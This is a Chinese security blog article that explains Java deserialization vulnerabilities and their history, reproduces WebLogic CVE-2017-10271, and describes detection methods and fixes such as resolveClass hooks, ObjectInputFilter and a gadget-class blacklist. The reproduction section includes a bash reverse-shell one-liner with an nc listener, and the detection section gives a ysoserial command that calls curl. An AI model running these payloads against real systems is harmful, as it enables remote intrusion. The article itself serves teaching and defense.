java反序列漏洞原理分析及防御修复方法

Java反序列化漏洞原理

谈起java反序列化漏洞,相信很多人都不会陌生,这个在2015年首次被爆出的漏洞,几乎横扫了包括Weblogic、WebSphere、JBoss、Jenkins等在内的各大java web server,历经几年的发展变种,各种语言工具依次爆出存在可利用的反序列化漏洞。

具全网分析以及shodan扫描显示,时至今日,在全球范围内的公网上大约有136,818台服务器依然存在反序列化漏洞。
为什么这个漏洞影响如此之大,却依然让人防不胜防。通过本篇文章,美创第59号安全实验室将为大家剖析java反序列化漏洞原理,寻找防御方法以及修复手段。

1. 什么是java序列化与反序列化?

Java 序列化是指把 Java 对象转换为字节序列的过程,以便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。

Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

在这里插入图片描述

序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以轻松的存储和传输数据,实现多平台之间的通信、对象持久化存储。主要应用在以下场景:

  1. 当服务器启动后,一般情况下不会关闭,如果逼不得已要重启,而用户还在进行相应的操作,为了保证用户信息不会丢失,实现暂时性保存,需要使用序列化将session信息保存在硬盘中,待服务器重启后重新加载。
  2. 在很多应用中,需要对某些对象进行序列化,让他们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

2. Java反序列化漏洞成因

我们需要明确的一点是:Java的序列化和反序列化本身并不存在问题,但如果java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,而非预期的对象在产生过程中就有可能带来任意代码执行的后果。
所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;正因为此,java提供的标准库及大量第三方公共类库成为反序列化漏洞利用的关键。

3. Java反序列化漏洞的发展历史

  • 2011年开始,攻击者就开始利用反序列化问题发起攻击
  • 2015年11月6日FoxGlove Security安全团队的@breenmachine发布了一篇长博客,阐述了利用java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大java web server纷纷中招,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
  • 2016年java中Spring与RMI集成反序列化漏洞,使成百上千台主机被远程访问
  • 2017年末,WebLogic XML反序列化引起的挖矿风波,使得反序列化漏洞再一次引起热议。
  • 从2018年至今,安全研究人员陆续爆出XML、Json、Yaml、PHP、Python、.NET中也存在反序列化漏洞,反序列化漏洞一直在路上。。。

4. Java反序列化漏洞形成原理

实例化一个USER对象,新建一个文件输入流fileout,再建立一个指向fileout的对象输入流out,然后使用writeObject()方法将对象进行序列化保存在文件中
在这里插入图片描述
使用winhex打开文件,查看文件内容开头可以发现AC ED 00 05是序列化内容的特征
在这里插入图片描述
再次实例化一个USER对象,使用readObject()方法对文件中的内容进行反序列化,获取其中的USER对象
在这里插入图片描述
问题出现在,自定义的USER类实现了Serializable的接口,重写了readObject()方法,返回了Runtime.getRuntime.exec(“calc.exe”)这个打开计算器的命令。
在这里插入图片描述
在这里插入图片描述
值得注意的是,只有实现了Serializable接口的类的对象才可以被序列化,Serializable接口是启用其序列化功能的接口,没有实现此接口的类将不能使他们的任一状态被序列化或反序列化。而readObject()方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject()是可以重写的,可以定制反序列化的一些行为。

5. WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

0x01 漏洞说明

17年至18年,大量黑客利用weblogic反序列化漏洞CVE-2017-3248和weblogic WLS LS组件的远程代码执行漏洞CVE-2017-10271,Oracle官方在2017年10月份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装补丁,存在被攻击的风险。对企业服务器发起了大范围远程攻击,对大量企业的服务器造成了严重威胁,受影响版本:10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

0x02 攻击说明

攻击者选定要攻击的目标主机后,利用WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Linux 中的wget 下载shell脚本并调用Linux本地“/bin/bash”执行shell脚本。
此次漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求首先在weblogic.wsee.jaxws.workcontext.WorkContextServerTube类中获取XML数据最终传递给XMLDecoder来解析,其解析XML的调用链为
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter

在这里插入图片描述
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法获取到localHeader1后传递给readHeaderOld方法,其内容为work:WorkContext所包裹的数据
在这里插入图片描述
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法中实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中。最后通过XMLDecoder来进行反序列化操作。
在这里插入图片描述

0x03漏洞复现

一般情况下weblogic会开放7001以及7002端口
使用burpsuit中的repeater功能,将poc复制进去,修改host和port
最重要的是在xxxxxx中的xxxxx处更改成一句话反弹shell
/bin/bash -I > /dev/tcp/172.30.70.1/8888 0<&1 2>&1
在这里插入图片描述
执行nc -l -p 8888用来开启对8888端口的监听
发送BurpSuit中自己编写的poc,在自己的主机上即可得到反弹shell
在这里插入图片描述

6. 如何发现java反序列化漏洞

a. 从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB
b. Java RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是1099端口
c. 从源码入手,可以被序列化的类一定实现了Serializable接口
d. 观察反序列化时的readObject()方法是否重写,重写中是否有设计不合理,可以被利用之处

7. Java反序列化漏洞防御措施

a. 代码审计

反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控,如下:

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

同时也要关注第三jar包是否提供了一些公共的反序列化操作接口,如果没有相应的安全校验如白名单校验方案,且输入可控的话就也可能存在安全问题。

b. 进阶审计

对于直接获取用户输入进行反序列化操作这种点比较好审计并发现,目前反序列化漏洞已经被谈起太多次了,所以有经验的开发者都会在代码中有相应的修复。但并不是所有修复都无懈可击。比如采用黑名单校验的修复方式,对于这种修复可在工程代码中尝试挖掘新的可以利用的’gadget‘。

代码中有使用到反序列化操作,那自身项目工程中肯定存在可以被反序列化的类,包括Java自身、第三方库有大量这样的类,可被反序列化的类有一个特点,就是该类必定实现了Serializable接口,Serializable 接口是启用其序列化功能的接口,实现 java.io.Serializable 接口的类才是可序列化的。
所以在代码审计时对这些类也可进行特别关注,分析并确认是否有可能被发序列化漏洞利用执行任意代码。发现新的可利用的类即可突破使用黑名单进行校验的一些应用。

c. 白盒检测

大型企业的应用很多,每个都人工去审计不现实,往往都有相应的自动化静态代码审计工具,这里以ObjectInputStream.readObject()为例,其它反序列化接口的检测原理也相似。在自动化检测时,可通过实现解析java源代码,检测readObject()方法调用时判断其对象是否为java.io.ObjectOutputStream。如果此时ObjectInputStream对象的初始化参数来自外部请求输入参数则基本可以确定存在反序列化漏洞了。这是只需确认是否存在相应的安全修复即可。

d. 黑盒检测

调用ysoserial并依次生成各个第三方库的利用payload(也可以先分析依赖第三方包量,调用最多的几个库的paylaod即可),该payload构造为访问特定url链接的payload,根据http访问请求记录判断反序列化漏洞是否利用成功。如:

java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " ’
也可通过DNS解析记录确定漏洞是否存在。.

e. RASP检测

Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。

类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以RASP检测反序列化漏洞时可通过重写ObjectInputStream对象的resolveClass方法获取反序列化的类即可实现对反序列化类的黑名单校验。

f. 攻击检测

通过查看反序列化后的数据,可以看到反序列化数据开头包含两字节的魔术数字,这两个字节始终为十六进制的0xAC ED。接下来是两字节的版本号。我只见到过版本号为5(0x00 05)的数据。考虑到zip、base64各种编码,在攻击检测时可针对该特征进行匹配请求post中是否包含反序列化数据,判断是否为反序列化漏洞攻击。

xxxdeMacBook-Pro:demo xxx$ xxd objectexp
00000000: aced 0005 7372 0032 7375 6e2e 7265 666c …sr.2sun.refl
00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU…

但仅从特征匹配只能确定有攻击尝试请求,还不能确定就存在反序列化漏洞,还要结合请求响应、返回内容等综合判断是否确实存在漏洞。

8. Java反序列化漏洞修复方案:

a. 通过Hook resolveClass来校验反序列化的类

通过上面序列化数据结构可以了解到包含了类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验。这个方法最早是由IBM的研究人员Pierre Ernst在2013年提出《Look-ahead Java deserialization》,具体实现代码示例如下:
在这里插入图片描述
通过此方法,可灵活的设置允许反序列化类的白名单,也可设置不允许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现,黑名单需要一直更新维护,且未公开的利用方法无法覆盖。

b. 使用ObjectInputFilter来校验反序列化的类

Java 9包含了支持序列化数据过滤的新特性,开发人员也可以继承java.io.ObjectInputFilter类重写checkInput方法实现自定义的过滤器,,并使用ObjectInputStream对象的setObjectInputFilter设置过滤器来实现反序列化类白/黑名单控制。示例代码如下:

在这里插入图片描述

c. 黑名单校验修复

在反序列化时设置类的黑名单来防御反序列化漏洞利用及攻击,这个做法在源代码修复的时候并不是推荐的方法,因为你不能保证能覆盖所有可能的类,而且有新的利用payload出来时也需要随之更新黑名单。

但有某些场景下可能又不得不选择黑名单方案。写代码的时候总会把一些经常用到的方法封装到公共类,这样其它工程中用到只需要导入jar包即可,此前已经见到很多提供反序列化操作的公共接口,使用第三方库反序列化接口就不好用白名单的方式来修复了。这个时候作为第三方库也不知道谁会调用接口,会反序列化什么类,所以这个时候可以使用黑名单的方式来禁止一些已知危险的类被反序列化,部分的黑名单类如下:

org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.commons.fileupload
org.apache.commons.beanutils

发布了21 篇原创文章 · 获赞 14 · 访问量 4075

猜你喜欢

转载自blog.csdn.net/m0_38103658/article/details/100581450